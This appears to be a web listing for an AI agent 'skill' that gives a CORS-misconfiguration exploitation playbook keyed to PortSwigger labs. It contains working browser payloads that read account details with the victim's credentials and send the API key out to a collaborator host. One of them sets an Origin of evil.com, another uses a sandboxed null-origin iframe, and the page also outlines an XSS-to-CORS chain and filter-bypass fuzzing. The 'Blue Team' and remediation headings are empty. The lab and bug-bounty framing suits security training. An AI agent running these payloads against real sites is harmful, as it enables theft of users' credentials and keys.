Cors

From ShulkwiSEC/bb-huge · View interactive version

Cors is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

How to use this skill

Skill file

CORS Misconfiguration — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads,

bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

Prerequisites

Workflow

Phase 1: Reconnaissance

Phase 2: Exploitation

Phase 3: Zero-Day Escalation

Lab Playbooks

Lab 1: Basic origin reflection 🟢 APPRENTICE

<script>
fetch('https://TARGET/accountDetails',{credentials:'include',headers:{'Origin':'https://evil.com'}})
.then(r=>r.json())
.then(d=>fetch('https://COLLAB/?key='+d.apikey));
</script>

Server reflects any Origin in Access-Control-Allow-Origin with credentials: true.


Lab 2: Trusted null origin 🟡 PRACTITIONER

<iframe sandbox="allow-scripts allow-forms" srcdoc="<script>fetch('https://TARGET/accountDetails',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://COLLAB/?'+d.apikey));</script>">

Sandboxed iframe sends Origin: null, which the server trusts.


Lab 3: Trusted insecure protocols 🟡 PRACTITIONER

Find subdomain with XSS over HTTP. CORS trusts *.target.com including HTTP. Chain: subdomain XSS → CORS bypass → steal api key.


Blue Team Detection

Zero-Day Research Methodology

When a standard technique doesn't work:

  1. Identify the filter: What chars/patterns are blocked?
  2. Research bypasses: Search GitHub, Twitter, PortSwigger Research for new techniques
  3. Fuzz extensively: Use Burp Intruder with custom charset/tag lists
  4. Chain vulnerabilities: Combine two medium findings into one critical
  5. Check encoding layers: URL, HTML entity, Unicode, double-encode, XML entity

Key Concepts

| Concept | Description |

|---------|-------------|

| PortSwigger Vectors | Standardized approaches to vulnerability classes. |

| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

🔵 Blue Team

🛡️ Remediation & Mitigation Strategy

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

- CODE0 — Exploit chaining methodology and high-payout chain patterns

- CODE0 — HackerOne-optimized report writing, CWE quick reference

- CODE0 — Verified disclosed bounties by vulnerability class

References

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.